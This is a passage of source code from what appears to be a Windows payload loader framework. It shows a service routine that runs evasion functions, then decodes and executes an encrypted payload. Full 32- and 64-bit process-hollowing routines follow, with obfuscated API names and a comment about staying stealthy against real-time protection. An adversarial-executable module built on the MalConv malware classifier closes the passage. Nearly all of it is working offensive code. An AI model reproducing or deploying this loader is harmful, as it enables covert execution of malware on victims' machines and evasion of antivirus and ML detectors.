arguments are given as C strings. 170 | char evasion_function_args[EVASION_ARRAY_SIZE][EVASION_ARG_MAX_LEN]; 171 | 172 | 173 | // Assign selected functions to prototypes 174 | // Included assignment code is assembled by the build script 175 | #include "evasion/evasion.assign" 176 | #include "get_payload/get_payload.assign" 177 | #include "get_key/get_key.assign" 178 | #include "get_payload_info/get_payload_info.assign" 179 | #include "decode_payload/decode_payload.assign" 180 | #include "payload_execution_method/payload_execution_method.assign" 181 | 182 | // Execute evasion functions 183 | if(evasion_functions[0] == NULL) { 184 | DEBUG_PRINT("No evasion techniques applied.\n"); 185 | } 186 | 187 | for(int i = 0; i < EVASION_ARRAY_SIZE; i++) { 188 | if(evasion_functions[i] != NULL) { 189 | DEBUG_PRINT("Executing evasion function %d.\n", i); 190 | // Use the function arguments from the argument array 191 | evasion_functions[i](evasion_function_args[i]); 192 | } 193 | } 194 | 195 | // Retrieve encoded payload 196 | int payload_size = 0; 197 | // If payload is retrieved statically, set the argument acoordingly to ensure that the correct data is delivered 198 | #ifdef STATIC_PAYLOAD 199 | unsigned char *encoded_payload = get_payload("static_payload", &payload_size); 200 | #else 201 | unsigned char *encoded_payload = get_payload(argv[1], &payload_size); 202 | #endif 203 | if(encoded_payload != NULL) { 204 | DEBUG_PRINT("Retrieved payload data, size is %d bytes.\n", payload_size); 205 | //for(int i = 0; i < payload_size; i++) { 206 | // DEBUG_PRINT("%02x ", encoded_payload[i]); 207 | //} 208 | DEBUG_PRINT("\n\n"); 209 | } else { 210 | DEBUG_PRINT("No payload retrieved.\n"); 211 | } 212 | 213 | // Retrieve crypto key 214 | int key_length = 0; 215 | // If key is retrieved statically, set the argument accordingly to ensure that the correct data is delivered 216 | #ifdef STATIC_KEY 217 | unsigned char *key = get_key("static_key", &key_length); 218 | #else 219 | unsigned char *key = get_key(argv[2], &key_length); 220 | #endif 221 | if(key != NULL) { 222 | DEBUG_PRINT("Retrieved key data, key length is %d bytes.\n", key_length); 223 | for(int i = 0; i < key_length; i++) { 224 | DEBUG_PRINT("%02x ", key[i]); 225 | } 226 | DEBUG_PRINT("\n\n"); 227 | } else { 228 | DEBUG_PRINT("No key retrieved.\n"); 229 | } 230 | 231 | // Retrieve additional payload info 232 | int payload_info_length = 0; 233 | // If payload info is retrieved statically, set the argument accordingly to ensure that the correct data is delivered 234 | #ifdef STATIC_PAYLOAD_INFO 235 | unsigned char *payload_info = get_payload_info("static_payload_info", &payload_info_length); 236 | #else 237 | unsigned char *payload_info = get_payload_info(argv[3], &payload_info_length); 238 | #endif 239 | 240 | char *payload_info_string; 241 | if(payload_info != NULL) { 242 | // Create C string from payload info data to ease further use 243 | payload_info_string = (char *) malloc(payload_info_length + 1); 244 | memcpy(payload_info_string, payload_info, payload_info_length); 245 | payload_info_string[payload_info_length] = '\0'; 246 | 247 | DEBUG_PRINT("Retrieved additional payload info, info data length is %d bytes.\n", payload_info_length); 248 | DEBUG_PRINT("payload_info: %s", payload_info_string); 249 | DEBUG_PRINT("\n\n"); 250 | } else { 251 | DEBUG_PRINT("No additional payload info retrieved.\n"); 252 | } 253 | 254 | // Decode payload 255 | unsigned char* payload = (unsigned char *) malloc(payload_size); 256 | DEBUG_PRINT("Calling decode_payload...\n"); 257 | decode_payload(encoded_payload, payload_size, key, key_length, payload); 258 | //DEBUG_PRINT("Decoded payload: \n"); 259 | //for(int i = 0; i < payload_size; i++) { 260 | // DEBUG_PRINT("%02x ", payload[i]); 261 | //} 262 | DEBUG_PRINT("\n\n"); 263 | 264 | // Bind and execute payload 265 | DEBUG_PRINT("Calling payload_execution_method...\n"); 266 | payload_execution_method(payload, payload_size, payload_info_string); 267 | 268 | DEBUG_PRINT("Execution finished.\n"); 269 | 270 | 271 | // Service worker loop 272 | while(ServiceStatus.dwCurrentState == SERVICE_RUNNING) { 273 | // Stay idle after invoking payload 274 | Sleep(SLEEP_TIME); 275 | } 276 | } 277 | -------------------------------------------------------------------------------- /source/implementations/payload_execution_method/hollowing64.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | #include 5 | #include 6 | #include 7 | #include "../debug_print/debug_print.h" 8 | #include "helper_functions/helper_functions64.h" 9 | 10 | 11 | // Instanciates a new process specified by payload_info, cuts out the original image and hollows the specified payload into the new process. 12 | // TLDR; Process hollowing with 64-bit processes. 13 | // payload_info format: targetPath,commandLine 14 | // The ',' character serves as delimiter. The string is split during the wrapper part of the hollowing64 function. 15 | // The payload_size argument contains the size of the complete executable payload image and is not required, 16 | // as the relevant information for the hollowing procedure is seized from the payload image headers. 17 | void hollowing64(unsigned char *payload, int payload_size, char *payload_info) { 18 | // NtUnmapViewOfSection callNtUnmapViewOfSection; 19 | STARTUPINFOA targetStartupInfo; 20 | PROCESS_INFORMATION targetProcessInfo; 21 | PIMAGE_DOS_HEADER payloadDosHeader; 22 | PIMAGE_NT_HEADERS payloadNtHeader; 23 | PIMAGE_SECTION_HEADER payloadSectionHeader; 24 | CONTEXT targetContext; 25 | DWORD64 oldTargetImageBase; 26 | DWORD64 newTargetImageBase; 27 | DWORD64 desiredPayloadImageBase; 28 | LPVOID localPayloadCopy; 29 | 30 | DEBUG_PRINT("Starting hollowing64 routine...\n"); 31 | 32 | // "Old" parameters from original BFG function newRunPE64. 33 | // Perform some wrapping process to transform the hollowin64 parameters into orginal values 34 | 35 | PVOID payloadData; // The executable image that serves as payload 36 | payloadData = (PVOID) payload; 37 | 38 | LPSTR targetPath; // Path of the executable image that will be intanciated as a process to hollow into 39 | LPTSTR commandLine; // Desired command line attribute of the process to instanciate 40 | char *target_path_info; 41 | char *command_line_info; 42 | char *delimiter; 43 | 44 | // No delimiter set = no command line specified 45 | // Implies that payload_info = target_path_info 46 | if((delimiter = strchr(payload_info, ',')) == NULL) { 47 | DEBUG_PRINT("Extracted payload_info::targetPath argument = %s\n", payload_info); 48 | targetPath = (LPSTR) payload_info; 49 | DEBUG_PRINT("No payload_info::commandLine argument specified.\n"); 50 | commandLine = (LPTSTR) ""; 51 | // Delimiter set = command line is specified 52 | // Further extraction necessary 53 | } else { 54 | // Since delimiter address already known: 55 | // Cut out first string porting by ending the string at delimiter position 56 | target_path_info = payload_info; 57 | *delimiter = '\0'; 58 | DEBUG_PRINT("Extracted payload_info::targetPath argument = %s\n", target_path_info); 59 | targetPath = (LPSTR) target_path_info; 60 | 61 | // Extract command line part after delimiter 62 | command_line_info = delimiter + 1; 63 | DEBUG_PRINT("Extracted payload_info::commandLine argument = %s\n", command_line_info); 64 | commandLine = (LPTSTR) command_line_info; 65 | } 66 | 67 | // Obfuscated function name string (keyByte is 0x45) 68 | // unsigned char obfuscatedNtUnmapViewOfSection[21] = {0x0b, 0x31, 0x10, 0x2b, 0x28, 0x24, 0x35, 0x13, 0x2c, 0x20, 0x32, 0x0a, 0x23, 0x16, 0x20, 0x26, 0x31, 0x2c, 0x2a, 0x2b, 0x45}; 69 | 70 | // Obfuscated library name string (keyByte is 0x56) 71 | unsigned char obfuscatedNtDll[10] = {0x38, 0x22, 0x32, 0x3a, 0x3a, 0x78, 0x32, 0x3a, 0x3a, 0x56}; 72 | 73 | // Init info structures for target process instanciation 74 | RtlZeroMemory(&targetStartupInfo, sizeof(targetStartupInfo)); 75 | RtlZeroMemory(&targetProcessInfo, sizeof(targetProcessInfo)); 76 | 77 | // Create new instance of target process 78 | if(!CreateProcessA(targetPath, commandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &targetStartupInfo, &targetProcessInfo)) { 79 | DEBUG_PRINT("Failed to create target process.\n"); 80 | return; 81 | } else { 82 | DEBUG_PRINT("Target process instanciated.\n"); 83 | } 84 | 85 | // Get thread context of target process 86 | targetContext.ContextFlags = CONTEXT_FULL; 87 | if(GetThreadContext(targetProcessInfo.hThread, (LPCONTEXT) &targetContext) == 0) { 88 | DEBUG_PRINT("GetThreadContext for target process main thread failed.\n"); 89 | return; 90 | } else { 91 | DEBUG_PRINT("Retrieved target main thread context.\n"); 92 | } 93 | 94 | // Get payload headers 95 | payloadDosHeader = (PIMAGE_DOS_HEADER) payloadData; 96 | payloadNtHeader = (PIMAGE_NT_HEADERS) ((BYTE *) payloadDosHeader + payloadDosHeader->e_lfanew); 97 | 98 | // Patch payload subsystem to avoid crashes 99 | payloadNtHeader->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI; 100 | 101 | // Get target process image base (rdx = PEB base address) 102 | if(ReadProcessMemory(targetProcessInfo.hProcess, (LPCVOID) (targetContext.Rdx + 16), (LPVOID) (&oldTargetImageBase), sizeof(DWORD64), NULL) == 0) { 103 | DEBUG_PRINT("Failed to read target process image base from PEB at address 0x%llX\n", targetContext.Rdx + 16); 104 | return; 105 | } else { 106 | DEBUG_PRINT("Old target process image base is 0x%llX\n", oldTargetImageBase); 107 | } 108 | 109 | // Section unmapping disabled to appear more stealthy against real time protection 110 | // Unmap old target process image (always) 111 | // callNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA(deobfuscate(obfuscatedNtDll, 10, 0x56)), deobfuscate(obfuscatedNtUnmapViewOfSection, 21, 0x45))); 112 | // if(callNtUnmapViewOfSection(targetProcessInfo.hProcess, (PVOID) oldTargetImageBase) == ERROR_SUCCESS) { 113 | // DEBUG_PRINT(("Unmapped old target process image.\n")) 114 | // } else { 115 | // DEBUG_PRINT((Failed to unmap old target process image.\n")) 116 | // return; 117 | // } 118 | 119 | desiredPayloadImageBase = payloadNtHeader->OptionalHeader.ImageBase; 120 | DEBUG_PRINT("Desired image base of payload is 0x%llX\n", payloadNtHeader->OptionalHeader.ImageBase); 121 | 122 | // Try to allocate memory in target process 123 | DEBUG_PRINT("Trying to allocate memory in target process...\n"); 124 | 125 | // Payload can handle relocations - let the OS decide where to map the payload 126 | if(has_relocations64(payloadData)) { 127 | DEBUG_PRINT("Found reloc section in payload executable. Choosing dynamic base allocation.\n"); 128 | newTargetImageBase = (DWORD64) VirtualAllocEx(targetProcessInfo.hProcess, NULL, payloadNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 129 | // Payload can't handle relocations: Try to get the desired image base. Procedure will fail if this address is unavailable 130 | } else { 131 | DEBUG_PRINT("Payload has no reloc section and must use fixed image base.\n"); 132 | newTargetImageBase = (DWORD64) VirtualAllocEx(targetProcessInfo.hProcess, (LPVOID) desiredPayloadImageBase, payloadNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 133 | } 134 | 135 | if(newTargetImageBase == 0) { 136 | DEBUG_PRINT("Failed to allocate memory.\n"); 137 | return; 138 | } else { 139 | DEBUG_PRINT("Allocated memory in target process!\n"); 140 | } 141 | 142 | // Arbitary allocation successful 143 | DEBUG_PRINT("New memory region has size 0x%lX bytes, at address 0x%llX.\n", payloadNtHeader->OptionalHeader.SizeOfImage, newTargetImageBase); 144 | 145 | // Fix image base in payload optional header to where memory could be actually allocated in target process 146 | payloadNtHeader->OptionalHeader.ImageBase = newTargetImageBase; 147 | DEBUG_PRINT("Adjusted OptionalHeader.ImageBase in payload to point to the actually allocated memory in target process.\n"); 148 | 149 | // Allocate local buffer in which the image can be prepared 150 | localPayloadCopy = VirtualAlloc(NULL, payloadNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 151 | 152 | if(localPayloadCopy == 0) { 153 | DEBUG_PRINT("Failed to allocate local memory for image preparation.\n"); 154 | return; 155 | } else { 156 | DEBUG_PRINT("Allocated local memory to prepare payload image before copying.\n"); 157 | } 158 | 159 | // Fill local copy with section headers and section data 160 | memcpy(localPayloadCopy, payloadData, payloadNtHeader->OptionalHeader.SizeOfHeaders); 161 | DEBUG_PRINT("Wrote payload headers into local copy.\n"); 162 | 163 | for(int i = 0; i < payloadNtHeader->FileHeader.NumberOfSections; i++) { 164 | payloadSectionHeader = (PIMAGE_SECTION_HEADER) ((BYTE *) payloadNtHeader + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); 165 | 166 | // No checking for SizeOfRawData == 0 needed because memcpy automatically skips copying printf("\ttype 10");without generating errors in that case 167 | memcpy((BYTE *) localPayloadCopy + payloadSectionHeader->VirtualAddress, (BYTE *) payloadData + payloadSectionHeader->PointerToRawData, payloadSectionHeader->SizeOfRawData); 168 | DEBUG_PRINT("Wrote section %d to local copy, virtual address offset of section is 0x%lX.\n", i, payloadSectionHeader->VirtualAddress); 169 | } 170 | 171 | // Apply relocations if VirtualAllocEx did not deliver the desired image base address 172 | if(newTargetImageBase != desiredPayloadImageBase) { 173 | DEBUG_PRINT("Payload not mapped at desired image base, applying relocations...\n"); 174 | if(apply_relocations64((ULONGLONG) newTargetImageBase, (ULONGLONG) desiredPayloadImageBase, localPayloadCopy) == false) { 175 | DEBUG_PRINT("Applying relocations to local copy failed.\n"); 176 | return; 177 | } else { 178 | DEBUG_PRINT("Applied relocations to local payload copy.\n"); 179 | } 180 | } else { 181 | DEBUG_PRINT("Image is at desired base, skipping relocations.\n"); 182 | } 183 | 184 | // Image prepared. Write the local copy into the target process 185 | if(WriteProcessMemory(targetProcessInfo.hProcess, (LPVOID) newTargetImageBase, localPayloadCopy, payloadNtHeader->OptionalHeader.SizeOfImage, NULL) == 0) { 186 | DEBUG_PRINT("Failed to write local payload copy into target process.\n"); 187 | return; 188 | } else { 189 | DEBUG_PRINT("Wrote local payload copy into target process.\n"); 190 | } 191 | 192 | // Fix image base in target PEB (rdx = PEB base address) 193 | if(WriteProcessMemory(targetProcessInfo.hProcess, (LPVOID) (targetContext.Rdx + 16), (LPCVOID) &newTargetImageBase, sizeof(DWORD64), NULL) == 0) { 194 | DEBUG_PRINT("Failed to fix target image base in PEB.\n"); 195 | return; 196 | } else { 197 | DEBUG_PRINT("Fixed target image base in PEB to 0x%llX\n", newTargetImageBase); 198 | } 199 | 200 | // Set new entry point in target main thread context 201 | targetContext.Rcx = newTargetImageBase + payloadNtHeader->OptionalHeader.AddressOfEntryPoint; 202 | if(!SetThreadContext(targetProcessInfo.hThread, &targetContext)) { 203 | DEBUG_PRINT("Setting thread context for target main thread failed.\n"); 204 | return; 205 | } else { 206 | DEBUG_PRINT("Set thread context for target main thread. New entry point is 0x%llX.\n", targetContext.Rcx); 207 | } 208 | 209 | // Free the local payload copy 210 | VirtualFree(localPayloadCopy, payloadNtHeader->OptionalHeader.SizeOfImage, MEM_FREE); 211 | 212 | // Resume main thread of target process 213 | if(ResumeThread(targetProcessInfo.hThread) == -1) { 214 | DEBUG_PRINT("Failed to resume target main thread.\n"); 215 | } else { 216 | DEBUG_PRINT("Resumed target main thread.\n"); 217 | } 218 | 219 | // Cleanup 220 | CloseHandle(targetProcessInfo.hThread); 221 | CloseHandle(targetProcessInfo.hProcess); 222 | } 223 | -------------------------------------------------------------------------------- /source/implementations/payload_execution_method/hollowing32.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | #include 5 | #include 6 | #include 7 | #include "../debug_print/debug_print.h" 8 | #include "helper_functions/helper_functions.h" 9 | 10 | 11 | // Instanciates a new process specified by payload_info, cuts out the original image and hollows the specified payload into the new process. 12 | // TLDR; Process hollowing with 32-bit processes. 13 | // 14 | // payload_info format: targetPath,commandLine 15 | // The ',' character serves as delimiter. The string is split during the wrapper part of the hollowing32 function. 16 | // The payload_size argument contains the size of the complete executable payload image and is not required, 17 | // as the relevant information for the hollowing procedure is seized from the payload image headers. 18 | void hollowing32(unsigned char *payload, int payload_size, char *payload_info) { 19 | // NtUnmapViewOfSection callNtUnmapViewOfSection; 20 | STARTUPINFOA targetStartupInfo; 21 | PROCESS_INFORMATION targetProcessInfo; 22 | PIMAGE_DOS_HEADER payloadDosHeader; 23 | PIMAGE_NT_HEADERS payloadNtHeader; 24 | PIMAGE_SECTION_HEADER payloadSectionHeader; 25 | CONTEXT targetContext; 26 | DWORD oldTargetImageBase; 27 | DWORD newTargetImageBase; 28 | DWORD desiredPayloadImageBase; 29 | LPVOID localPayloadCopy; 30 | 31 | DEBUG_PRINT("Starting hollowing32 routine...\n"); 32 | 33 | // "Old" parameters from original BFG function newRunPE32. 34 | // Perform some wrapping process to transform the hollowing32 parameters into original values 35 | 36 | PVOID payloadData; // The executable image that serves as payload 37 | payloadData = (PVOID) payload; 38 | 39 | LPSTR targetPath; // Path of the executable image that will be instanciated as a process to hollow into 40 | LPTSTR commandLine; // Desired command line attribute of the process to instanciate 41 | char *target_path_info; 42 | char *command_line_info; 43 | char *delimiter; 44 | 45 | // No delimiter set = no command line specified 46 | // Implies that payload_info = target_path_info 47 | if((delimiter = strchr(payload_info, ',')) == NULL) { 48 | DEBUG_PRINT("Extracted payload_info::targetPath argument = %s\n", payload_info); 49 | targetPath = (LPSTR) payload_info; 50 | DEBUG_PRINT("No payload_info::commandLine argument specified.\n"); 51 | commandLine = (LPTSTR) ""; 52 | // Delimiter set = command line is specified 53 | // Further extraction necessary 54 | } else { 55 | // Since delimiter address already known: 56 | // Cut out first string porting by ending the string at delimiter position 57 | target_path_info = payload_info; 58 | *delimiter = '\0'; 59 | DEBUG_PRINT("Extracted payload_info::targetPath argument = %s\n", target_path_info); 60 | targetPath = (LPSTR) target_path_info; 61 | 62 | // Extract command line part after delimiter 63 | command_line_info = delimiter + 1; 64 | DEBUG_PRINT("Extracted payload_info::commandLine argument = %s\n", command_line_info); 65 | commandLine = (LPTSTR) command_line_info; 66 | } 67 | 68 | // Obfuscated function name string (keyByte is 0x45) 69 | // unsigned char obfuscatedNtUnmapViewOfSection[21] = {0x0b, 0x31, 0x10, 0x2b, 0x28, 0x24, 0x35, 0x13, 0x2c, 0x20, 0x32, 0x0a, 0x23, 0x16, 0x20, 0x26, 0x31, 0x2c, 0x2a, 0x2b, 0x45}; 70 | 71 | // Obfuscated library name string (keyByte is 0x56) 72 | unsigned char obfuscatedNtDll[10] = {0x38, 0x22, 0x32, 0x3a, 0x3a, 0x78, 0x32, 0x3a, 0x3a, 0x56}; 73 | 74 | // Init info structures for target process instanciation 75 | RtlZeroMemory(&targetStartupInfo, sizeof(targetStartupInfo)); 76 | RtlZeroMemory(&targetProcessInfo, sizeof(targetProcessInfo)); 77 | 78 | // Create new instance of target process 79 | if(!CreateProcessA(targetPath, commandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &targetStartupInfo, &targetProcessInfo)) { 80 | DEBUG_PRINT("Failed to create target process.\n"); 81 | return; 82 | } else { 83 | DEBUG_PRINT("Target process instanciated.\n"); 84 | } 85 | 86 | // Get thread context of target process 87 | targetContext.ContextFlags = CONTEXT_FULL; 88 | if(GetThreadContext(targetProcessInfo.hThread, (LPCONTEXT) &targetContext) == 0) { 89 | DEBUG_PRINT("GetThreadContext for target process main thread failed.\n"); 90 | return; 91 | } else { 92 | DEBUG_PRINT("Retrieved target main thread context.\n"); 93 | } 94 | 95 | // Get payload headers 96 | payloadDosHeader = (PIMAGE_DOS_HEADER) payloadData; 97 | payloadNtHeader = (PIMAGE_NT_HEADERS) ((BYTE *) payloadDosHeader + payloadDosHeader->e_lfanew); 98 | 99 | // Patch payload subsystem to avoid crashes 100 | payloadNtHeader->OptionalHeader.Subsystem = IMAGE_SUBSYSTEM_WINDOWS_GUI; 101 | 102 | // Get target process image base (ebx = PEB base address) 103 | if(ReadProcessMemory(targetProcessInfo.hProcess, (LPCVOID) (targetContext.Ebx + 8), (LPVOID) (&oldTargetImageBase), sizeof(DWORD), NULL) == 0) { 104 | DEBUG_PRINT("Failed to read target process image base from PEB at address 0x%lX\n", targetContext.Ebx + 8); 105 | return; 106 | } else { 107 | DEBUG_PRINT("Old target process image base is 0x%lX\n", oldTargetImageBase); 108 | } 109 | 110 | // Section unmapping disabled to appear more stealthy against real time protection 111 | // Unmap old target process image (always) 112 | //callNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA(deobfuscate(obfuscatedNtDll, 10, 0x56)), deobfuscate(obfuscatedNtUnmapViewOfSection, 21, 0x45))); 113 | //if(callNtUnmapViewOfSection(targetProcessInfo.hProcess, (PVOID) oldTargetImageBase) == ERROR_SUCCESS) { 114 | // DEBUG_PRINT("Unmapped old target process image.\n"); 115 | //} else { 116 | // DEBUG_PRINT("Failed to unmap old target process image.\n"); 117 | // return; 118 | //} 119 | 120 | desiredPayloadImageBase = payloadNtHeader->OptionalHeader.ImageBase; 121 | DEBUG_PRINT("Desired image base of payload is 0x%lX\n", payloadNtHeader->OptionalHeader.ImageBase); 122 | 123 | // Try to allocate memory in target process 124 | DEBUG_PRINT("Trying to allocate memory in target process...\n"); 125 | 126 | // Payload can handle relocations - let the OS decide where to map the payload 127 | if(has_relocations(payloadData)) { 128 | DEBUG_PRINT("Found reloc section in payload executable. Choosing dynamic base allocation.\n"); 129 | newTargetImageBase = (DWORD) VirtualAllocEx(targetProcessInfo.hProcess, NULL, payloadNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 130 | // Payload can't handle relocations: Try to get the desired image base. Procedure will fail if this address is unavailable 131 | } else { 132 | DEBUG_PRINT("Payload has no reloc section and must use fixed image base.\n"); 133 | newTargetImageBase = (DWORD) VirtualAllocEx(targetProcessInfo.hProcess, (LPVOID) desiredPayloadImageBase, payloadNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 134 | } 135 | 136 | if(newTargetImageBase == 0) { 137 | DEBUG_PRINT("Failed to allocate memory.\n"); 138 | return; 139 | } else { 140 | DEBUG_PRINT("Allocated memory in target process!\n"); 141 | } 142 | 143 | // Arbitary allocation successful 144 | DEBUG_PRINT("New memory region has size 0x%lX bytes, at address 0x%lX.\n", payloadNtHeader->OptionalHeader.SizeOfImage, newTargetImageBase); 145 | 146 | // Fix image base in payload optional header to where memory could be actually allocated in target process 147 | payloadNtHeader->OptionalHeader.ImageBase = newTargetImageBase; 148 | DEBUG_PRINT("Adjusted OptionalHeader.ImageBase in payload to point to the actually allocated memory in target process.\n"); 149 | 150 | // Allocate local buffer in which the image can be prepared 151 | localPayloadCopy = VirtualAlloc(NULL, payloadNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 152 | 153 | if(localPayloadCopy == 0) { 154 | DEBUG_PRINT("Failed to allocate local memory for image preparation.\n"); 155 | return; 156 | } else { 157 | DEBUG_PRINT("Allocated local memory to prepare payload image before copying.\n"); 158 | } 159 | 160 | // Fill local copy with section headers and section data 161 | memcpy(localPayloadCopy, payloadData, payloadNtHeader->OptionalHeader.SizeOfHeaders); 162 | DEBUG_PRINT("Wrote payload headers into local copy.\n"); 163 | 164 | for(int i = 0; i < payloadNtHeader->FileHeader.NumberOfSections; i++) { 165 | payloadSectionHeader = (PIMAGE_SECTION_HEADER) ((BYTE *) payloadNtHeader + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); 166 | 167 | // No checking for SizeOfRawData == 0 needed because memcpy automatically skips copying without generating errors in that case 168 | memcpy((BYTE *) localPayloadCopy + payloadSectionHeader->VirtualAddress, (BYTE *) payloadData + payloadSectionHeader->PointerToRawData, payloadSectionHeader->SizeOfRawData); 169 | DEBUG_PRINT("Wrote section %d to local copy, virtual address offset of section is 0x%lX.\n", i, payloadSectionHeader->VirtualAddress); 170 | } 171 | 172 | // Apply relocations if VirtualAllocEx did not deliver the desired image base address 173 | if(newTargetImageBase != desiredPayloadImageBase) { 174 | DEBUG_PRINT("Payload not mapped at desired image base, applying relocations...\n"); 175 | if(apply_relocations((ULONGLONG) newTargetImageBase, (ULONGLONG) desiredPayloadImageBase, localPayloadCopy) == false) { 176 | DEBUG_PRINT("Applying relocations to local copy failed.\n"); 177 | return; 178 | } else { 179 | DEBUG_PRINT("Applied relocations to local payload copy.\n"); 180 | } 181 | } else { 182 | DEBUG_PRINT("Image is at desired base, skipping relocations.\n"); 183 | } 184 | 185 | // Image prepared. Write the local copy into the target process 186 | if(WriteProcessMemory(targetProcessInfo.hProcess, (LPVOID) newTargetImageBase, localPayloadCopy, payloadNtHeader->OptionalHeader.SizeOfImage, NULL) == 0) { 187 | DEBUG_PRINT("Failed to write local payload copy into target process.\n"); 188 | return; 189 | } else { 190 | DEBUG_PRINT("Wrote local payload copy into target process.\n"); 191 | } 192 | 193 | // Fix image base in target PEB (ebx = PEB base address) 194 | if(WriteProcessMemory(targetProcessInfo.hProcess, (LPVOID) (targetContext.Ebx + 8), (LPCVOID) &newTargetImageBase, sizeof(DWORD), NULL) == 0) { 195 | DEBUG_PRINT("Failed to fix target image base in PEB.\n"); 196 | return; 197 | } else { 198 | DEBUG_PRINT("Fixed target image base in PEB to 0x%lX\n", newTargetImageBase); 199 | } 200 | 201 | // Set new entry point in target main thread context 202 | targetContext.Eax = newTargetImageBase + payloadNtHeader->OptionalHeader.AddressOfEntryPoint; 203 | if(!SetThreadContext(targetProcessInfo.hThread, &targetContext)) { 204 | DEBUG_PRINT("Setting thread context for target main thread failed.\n"); 205 | return; 206 | } else { 207 | DEBUG_PRINT("Set thread context for target main thread. New entry point is 0x%lX.\n", targetContext.Eax); 208 | } 209 | 210 | // Free the local payload copy 211 | VirtualFree(localPayloadCopy, payloadNtHeader->OptionalHeader.SizeOfImage, MEM_FREE); 212 | 213 | // Resume main thread of target process 214 | if(ResumeThread(targetProcessInfo.hThread) == -1) { 215 | DEBUG_PRINT("Failed to resume target main thread.\n"); 216 | } else { 217 | DEBUG_PRINT("Resumed target main thread.\n"); 218 | } 219 | 220 | // Cleanup 221 | CloseHandle(targetProcessInfo.hThread); 222 | CloseHandle(targetProcessInfo.hProcess); 223 | } 224 | -------------------------------------------------------------------------------- /source/implementations/gen_adversarial_exe/malconv/malconv.py: -------------------------------------------------------------------------------- 1 | """ 2 | Malware Detection by Eating a Whole EXE 3 | Edward Raff, Jon Barker, Jared Sylvester, Robert Brandon, Bryan Catanzaro, Charles Nicholas 4 | https://arxiv.org/abs/1710.09435 5 | 6 | Malconv implementation extracted from https://github.com/pralab/secml_malware. 7 | Pre-trained MalConv model trained by EndGame 8 | """ 9 | 10 | from abc import abstractmethod 11 | import os 12 | 13 | import numpy as np 14 | import torch 15 | import torch.nn.functional as F 16 | from torch.nn import Module 17 | import torch.nn as nn 18 | import torchvision.transforms as transforms 19 | 20 | from secml.array import CArray 21 | from secml.ml.classifiers.pytorch.c_classifier_pytorch import CClassifierPyTorch 22 | from secml.settings import SECML_PYTORCH_USE_CUDA 23 | 24 | use_cuda = torch.cuda.is_available() and SECML_PYTORCH_USE_CUDA 25 | 26 | 27 | class End2EndModel(Module): 28 | 29 | def __init__(self, embedding_size: int, max_input_size: int, embedding_value: int, shift_values: bool): 30 | """ 31 | Basic end to end model wrapper 32 | 33 | Parameters 34 | ---------- 35 | embedding_size : int 36 | the size of the embedding space 37 | max_input_size : int 38 | the input window size 39 | embedding_value : int 40 | the value used as padding 41 | shift_values : bool 42 | True if values are shifted by one 43 | """ 44 | super(End2EndModel, self).__init__() 45 | self.embedding_size = embedding_size 46 | self.max_input_size = max_input_size 47 | self.embedding_value = embedding_value 48 | self.shift_values = shift_values 49 | 50 | @classmethod 51 | def path_to_exe_vector(cls, path: str, max_length: int, padding_value: int, shift_values: bool) -> np.ndarray: 52 | """ 53 | Creates a numpy array from the bytes contained in file 54 | 55 | Parameters 56 | ---------- 57 | path : str 58 | the path of the file 59 | max_length : int 60 | the max input size of the network 61 | padding_value : int 62 | the value used as padding 63 | shift_values : bool 64 | True if values are shifted by one 65 | 66 | Returns 67 | ------- 68 | numpy array 69 | the sample as numpy array, cropped or padded 70 | """ 71 | exe = cls.load_sample_from_file(path, max_length, has_shape=True, padding_value=padding_value, 72 | shift_values=shift_values) 73 | return exe.reshape(max_length) 74 | 75 | @classmethod 76 | @abstractmethod 77 | def bytes_to_numpy(cls, bytez: bytes, max_length: int, padding_value: int, shift_values: bool) -> np.ndarray: 78 | """ 79 | It creates a numpy array from bare bytes. The vector is max_length long. 80 | 81 | Parameters 82 | ---------- 83 | bytez : bytes 84 | byte string containing the sample 85 | max_length : int 86 | the max input size of the network 87 | padding_value : int 88 | the value used as padding 89 | shift_values : bool 90 | True if values are shifted by one 91 | 92 | Returns 93 | ------- 94 | numpy array 95 | the sample as numpy array, cropped or padded 96 | 97 | """ 98 | b = np.ones((max_length,), dtype=np.uint16) * padding_value 99 | bytez = np.frombuffer(bytez[:max_length], dtype=np.uint8) 100 | bytez = bytez.astype(np.uint16) + shift_values 101 | b[: len(bytez)] = bytez 102 | return np.array(b, dtype=float) 103 | 104 | @classmethod 105 | @abstractmethod 106 | def list_to_numpy(cls, x, max_length, padding_value, shift_values): 107 | """ 108 | It creates a numpy array from bare bytes. The vector is max_length long. 109 | """ 110 | b = np.ones((max_length,), dtype=np.uint16) * padding_value 111 | bytez = np.array(x[:max_length], dtype=np.uint8) 112 | bytez = bytez.astype(np.uint16) + shift_values 113 | b[: len(bytez)] = bytez 114 | return np.array(b, dtype=float) 115 | 116 | @classmethod 117 | @abstractmethod 118 | def load_sample_from_file(cls, path, max_length, has_shape, padding_value, shift_values): 119 | """ 120 | It creates a numpy array containing a sample. The vector is max_length long. 121 | If shape is true, then the path is supposed to be a (1,1) matrix. 122 | Hence, item() is called. 123 | """ 124 | file_path = path.item() if has_shape else path 125 | with open(file_path, "rb") as malware: 126 | code = cls.bytes_to_numpy( 127 | malware.read(), max_length, padding_value, shift_values) 128 | return code 129 | 130 | @abstractmethod 131 | def embed(self, input_x, transpose=True): 132 | 